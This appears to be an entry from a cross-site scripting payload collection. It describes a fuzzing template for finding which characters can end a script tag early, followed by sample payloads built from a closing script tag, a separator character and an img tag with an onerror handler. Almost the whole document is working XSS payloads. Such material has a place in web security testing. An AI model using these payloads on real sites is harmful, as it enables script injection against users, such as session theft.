Discovers which characters can break out of a script tag context.
<script></script$[chr]><img src=x onerror=log($[i])><script></script0x09><img src=x onerror=alert(9)><script></script
><img src=x onerror=alert(10)><script></script0x0C><img src=x onerror=alert(12)><script></script
><img src=x onerror=alert(13)><script></script ><img src=x onerror=alert(32)><script></script/><img src=x onerror=alert(47)><script></script>><img src=x onerror=alert(62)>